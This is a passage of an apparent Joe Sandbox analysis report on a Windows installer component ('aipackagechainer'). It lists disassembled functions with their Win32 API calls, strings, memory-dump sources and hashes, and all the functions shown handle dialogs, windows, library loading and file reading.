                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 17C1AAB0C206689BDF20DF24CC49BEEBBB5AB56305F1042DAE409A7291DBB45BD4CF51
                                                                                                                                                                                                                                                  Function 00258520 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 215windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?), ref: 00258559
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000406,00000000,?), ref: 0025856D
                                                                                                                                                                                                                                                    • Part of subcall function 0025EA60: GetWindowLongW.USER32(?,000000F0), ref: 0025EA85
                                                                                                                                                                                                                                                    • Part of subcall function 0025EA60: GetParent.USER32(?), ref: 0025EA8F
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,0000040A), ref: 0025859C
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(00000000,000000FC,00000000), ref: 002585D7
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 002585EC
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00258604
                                                                                                                                                                                                                                                  • CreateWindowExW.USER32(00000000,tooltips_class32,00000000,00000000,80000000,80000000,00000000,00000000,?,00000000,00000000), ref: 00258641
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 0025864B
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,00000401,00000001,00000000), ref: 00258661
                                                                                                                                                                                                                                                    • Part of subcall function 0027A15A: GetProcessHeap.KERNEL32(00000008,00000008,?,0024711E), ref: 0027A15F
                                                                                                                                                                                                                                                    • Part of subcall function 0027A15A: HeapAlloc.KERNEL32(00000000), ref: 0027A166
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(?,?), ref: 00258712
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000002), ref: 0025875A
                                                                                                                                                                                                                                                  • EnableWindow.USER32(00000000,00000000), ref: 00258763
                                                                                                                                                                                                                                                  • GetSystemMenu.USER32(?,00000000), ref: 0025876E
                                                                                                                                                                                                                                                  • ModifyMenuW.USER32(00000000,0000F060,00000001,00000000,00000000), ref: 0025878C
                                                                                                                                                                                                                                                  • DestroyMenu.USER32(00000000), ref: 0025879E
                                                                                                                                                                                                                                                  • SetEvent.KERNEL32(?,000000DA), ref: 002587B9
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Long$ItemMenu$HeapMessageSend$AllocCreateDestroyEnableEventModifyParentProcessSystemText
                                                                                                                                                                                                                                                  • String ID: tooltips_class32
                                                                                                                                                                                                                                                  • API String ID: 3996269815-1918224756
                                                                                                                                                                                                                                                  • Opcode ID: 52ce2622791a7ec7f893be2295be3acd96da2106c0627dd4eb1b5a766e157583
                                                                                                                                                                                                                                                  • Instruction ID: ab9fbbb9a84be053e0bc12b332117c05723fcfe2385bd7f47d825103aa7a12ea
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 52ce2622791a7ec7f893be2295be3acd96da2106c0627dd4eb1b5a766e157583
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B081C071610202EFDF109F64DC49B6ABBB5FF05711F148269F915AB2E1DB70A811CFA4
                                                                                                                                                                                                                                                  Function 0023E980 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 223COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000001F6), ref: 0023E9CE
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000001F8), ref: 0023E9DB
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000001F7), ref: 0023EA1D
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,?), ref: 0023EA2C
                                                                                                                                                                                                                                                  • ShowWindow.USER32(?,00000005), ref: 0023EA92
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000001F7), ref: 0023EAB4
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,?), ref: 0023EAC3
                                                                                                                                                                                                                                                  • ShowWindow.USER32(?,00000000), ref: 0023EB28
                                                                                                                                                                                                                                                  • ShowWindow.USER32(?,00000000), ref: 0023EB2F
                                                                                                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000616), ref: 0023EB78
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000000), ref: 0023EBAA
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 0023EBB4
                                                                                                                                                                                                                                                  • IsRectEmpty.USER32(?), ref: 0023EBD1
                                                                                                                                                                                                                                                  • SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014,?,00000000,?,?,00000616), ref: 0023EC01
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Item$Show$Text$EmptyRect
                                                                                                                                                                                                                                                  • String ID: Details <<$Details >>
                                                                                                                                                                                                                                                  • API String ID: 4171068809-3763984547
                                                                                                                                                                                                                                                  • Opcode ID: 0a8801ee4ac17f96fa0f866cbf09b7c965661d917e8f1bba76da65f5255d96c8
                                                                                                                                                                                                                                                  • Instruction ID: 591274e23463f2ef6542f8df0ab544ab013de128136059062eb574425eec109d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0a8801ee4ac17f96fa0f866cbf09b7c965661d917e8f1bba76da65f5255d96c8
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2C81BFB1D20209ABDF04DF68DC4ABAEBBB5FF19310F158219F401A7691DB30A965CF90
                                                                                                                                                                                                                                                  Function 0025FA90 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 277windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0025FABD
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0025FAD2
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0025FAE9
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 0025FB02
                                                                                                                                                                                                                                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 0025FB16
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 0025FB24
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0025FB37
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 0025FB52
                                                                                                                                                                                                                                                  • DestroyWindow.USER32(00000000), ref: 0025FB6E
                                                                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0025FBC6
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 0025FBEA
                                                                                                                                                                                                                                                  • CreateWindowExW.USER32(00000000,SCROLLBAR,00000000,5402001C,?,?,?,?,?,0000E801,00000000), ref: 0025FC42
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 0025FC4B
                                                                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0025FCD9
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Long$ClientMessageRectSend$AllocateCreateDestroyHeap
                                                                                                                                                                                                                                                  • String ID: SCROLLBAR
                                                                                                                                                                                                                                                  • API String ID: 2923869516-324577739
                                                                                                                                                                                                                                                  • Opcode ID: 6092aec750e6f7133465cb820417d583cbb2f0780d739d0f36efa2c2bad430dc
                                                                                                                                                                                                                                                  • Instruction ID: 33856c1723d110a64cad36d129d7ad950353611179ddee9103c7b6c1dff13535
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6092aec750e6f7133465cb820417d583cbb2f0780d739d0f36efa2c2bad430dc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 21B17770519301AFEB50CF28D949B2ABBF4FF89311F104A2DF995972A0DB71E854CB92
                                                                                                                                                                                                                                                  Function 002601C0 Relevance: 25.8, APIs: 17, Instructions: 340COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,?), ref: 00260205
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 00260213
                                                                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 00260243
                                                                                                                                                                                                                                                  • InvalidateRect.USER32(00000000,00000000,00000001), ref: 00260541
                                                                                                                                                                                                                                                  • SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 0026056A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Rect$InvalidateItemPoints
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2775623374-0
                                                                                                                                                                                                                                                  • Opcode ID: 73214ad41ef904514b5d86ce600b1d0f98ef51f16290e29eb3c89471a830d0d2
                                                                                                                                                                                                                                                  • Instruction ID: 567c4b67e0f13b9da9b50a97bb2dcd125e322e69125fbd3828471698c16f23fc
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 73214ad41ef904514b5d86ce600b1d0f98ef51f16290e29eb3c89471a830d0d2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 14D137716143019FCB08CF6CC999A6BBBE5BF89300F088A5CF989CB255D730E955CB52
                                                                                                                                                                                                                                                  Function 00229130 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 257libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory,4938EAB5,?,?,00228883,0000001C,0000001C,workstation,00238891,000000B7,OS Version: %u.%u.%u SP%u (%s) [%s],?,?,0000001C,?), ref: 00229198
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,combase.dll), ref: 0022919E
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(combase.dll,CoIncrementMTAUsage,?,002BCFB8,?,4938EAB5,?,?,00228883,0000001C,0000001C,workstation,00238891,000000B7,OS Version: %u.%u.%u SP%u (%s) [%s],?), ref: 002291D2
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,combase.dll), ref: 002291D8
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                                                                  • String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$combase.dll
                                                                                                                                                                                                                                                  • API String ID: 2574300362-2454113998
                                                                                                                                                                                                                                                  • Opcode ID: f73235f95a7279366395166e87b9c670b334c7634b14ba811c6147d32e1e524a
                                                                                                                                                                                                                                                  • Instruction ID: 29adc32d440753f742b549f8c91583424e4f6be643125797273e9c6ac103e246
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f73235f95a7279366395166e87b9c670b334c7634b14ba811c6147d32e1e524a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 55A1F170D2021AEFDF14DFE8D894BEDBBB5AF59310F244169E411B7290DB709AA0CB50
                                                                                                                                                                                                                                                  Function 00225D70 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 253libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory,4938EAB5,?,?,?,?,?,?,?,?,?,?,?,?,4938EAB5), ref: 00225DEA
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00225DF0
                                                                                                                                                                                                                                                  • GetErrorInfo.OLEAUT32(00000000,00000000), ref: 00225E2D
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(?,.dll,-00000001,00000000,002BC440,00000000,00000000,00000000), ref: 00225F6B
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,DllGetActivationFactory), ref: 00225FB4
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressLibraryLoadProc$ErrorInfo
                                                                                                                                                                                                                                                  • String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$combase.dll
                                                                                                                                                                                                                                                  • API String ID: 954284200-2454113998
                                                                                                                                                                                                                                                  • Opcode ID: e10252133d2970ddb1f48cf62e010db32b846fff4689c9726b72cc442fc530da
                                                                                                                                                                                                                                                  • Instruction ID: 47a2c788fab9dcd73cbd27203b1cfb09867b91bd82865b2900f1616755e43e9e
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e10252133d2970ddb1f48cf62e010db32b846fff4689c9726b72cc442fc530da
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 71A1B171D20229EFCB14DFE8E985BEDBBB5BF19300F248119E411B7290DB709A64CB51
                                                                                                                                                                                                                                                  Function 0023E670 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 132windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: LoadLibraryW.KERNEL32(ComCtl32.dll,4938EAB5,?,00000008,00000008), ref: 0023756E
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00237591
                                                                                                                                                                                                                                                    • Part of subcall function 00237530: FreeLibrary.KERNEL32(00000000), ref: 0023760F
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000001F4), ref: 0023E6B1
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000170,00000000,00000000), ref: 0023E6C2
                                                                                                                                                                                                                                                  • GetDC.USER32(00000000), ref: 0023E6CA
                                                                                                                                                                                                                                                  • GetDeviceCaps.GDI32(00000000), ref: 0023E6D1
                                                                                                                                                                                                                                                  • MulDiv.KERNEL32(00000009,00000000), ref: 0023E6DA
                                                                                                                                                                                                                                                  • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,Courier New), ref: 0023E703
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000001F6), ref: 0023E714
                                                                                                                                                                                                                                                  • IsWindow.USER32(00000000), ref: 0023E71D
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000030,?,00000000), ref: 0023E734
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000001F8), ref: 0023E73E
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0023E74F
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0023E762
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 0023E772
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$ItemRect$LibraryMessageSend$AddressCapsCreateDeviceFontFreeLoadProc
                                                                                                                                                                                                                                                  • String ID: Courier New
                                                                                                                                                                                                                                                  • API String ID: 1731048342-2572734833
                                                                                                                                                                                                                                                  • Opcode ID: 336e2d86fede1734c2dd7fd12522c3f4ecf6c87f4b79fb82220103e8b67d151b
                                                                                                                                                                                                                                                  • Instruction ID: 97a827b124bf2c3756daf842bcaaee0beb45bdee82e80a23cc7cf1671ebc5015
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 336e2d86fede1734c2dd7fd12522c3f4ecf6c87f4b79fb82220103e8b67d151b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A541C571B943087BFB149F20AC56FBE77A9AF49B04F020529FB097A1D1DAB0AC508B55
                                                                                                                                                                                                                                                  Function 0025BAB0 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 278fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,4938EAB5), ref: 0025BAEF
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0025BB10
                                                                                                                                                                                                                                                    • Part of subcall function 00213200: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,4938EAB5,00000000,0029B9F0,000000FF,?,?,002D3B80,?,0024D90C,80004005,4938EAB5,?,00000000), ref: 0021324A
                                                                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 0025BB20
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0025BB2D
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,002A9A55,000000FF), ref: 0025BDB6
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorFileLast$AllocateCloseCreateHandleHeapSize
                                                                                                                                                                                                                                                  • String ID: ISO-8859-1$US-ASCII$utf-16$utf-8
                                                                                                                                                                                                                                                  • API String ID: 4082270022-3020978663
                                                                                                                                                                                                                                                  • Opcode ID: 4d554621e5a4bfde0867e8435e0e3d9e7e3dec8ce223bdafb8601a08eb4af526
                                                                                                                                                                                                                                                  • Instruction ID: 65aea4ba6c4d91d3d87236f4233d5b0a31febfd68a250aab803a9fa58540c622
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4d554621e5a4bfde0867e8435e0e3d9e7e3dec8ce223bdafb8601a08eb4af526
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C5913871A21206EFDB11DF64CC45BAEB7B8AF15721F144129FC05A72C1DBB49928CB64
                                                                                                                                                                                                                                                  Function 0022DD30 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 263COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,4938EAB5), ref: 0022DDD8
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0022DDE2
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 0022DE57
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,76ECE820,?), ref: 0022DE84
                                                                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00210000,?,00000104), ref: 0022DED9
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0022DF41
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,Module,?), ref: 0022E040
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(?), ref: 0022E061
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,Module_Raw,?), ref: 0022E095
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$Leave$EnterModule$ErrorFileHandleInitializeLastName
                                                                                                                                                                                                                                                  • String ID: Module$Module_Raw$REGISTRY
                                                                                                                                                                                                                                                  • API String ID: 1851870515-549000027
                                                                                                                                                                                                                                                  • Opcode ID: cc52113d124ba2d9bb56793a18d5ea76fefce83dc1ba53b61667dc36bc0735f0
                                                                                                                                                                                                                                                  • Instruction ID: d20b75daee662ab8425a5423393b8a5672ad88e06bbc702eb39c83ae4f9c0fc5
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cc52113d124ba2d9bb56793a18d5ea76fefce83dc1ba53b61667dc36bc0735f0
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E2B1DF31910328ABDB20DFA4DC48BDEB7B4AF5A310F1145D9D80DA7680EB759E94CF92
                                                                                                                                                                                                                                                  Function 00248840 Relevance: 21.2, APIs: 14, Instructions: 170COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00248887
                                                                                                                                                                                                                                                  • GetParent.USER32 ref: 0024889D
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 002488A8
                                                                                                                                                                                                                                                  • GetParent.USER32(?), ref: 002488B0
                                                                                                                                                                                                                                                  • GetClientRect.USER32(00000000,?), ref: 002488BF
                                                                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 002488C8
                                                                                                                                                                                                                                                  • MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 002488D4
                                                                                                                                                                                                                                                  • GetWindow.USER32(?,00000004), ref: 002488E2
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 002488F0
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(00000000,000000F0), ref: 002488FD
                                                                                                                                                                                                                                                  • MonitorFromWindow.USER32(?,00000002), ref: 00248915
                                                                                                                                                                                                                                                  • GetMonitorInfoW.USER32(00000000,00000004), ref: 0024892F
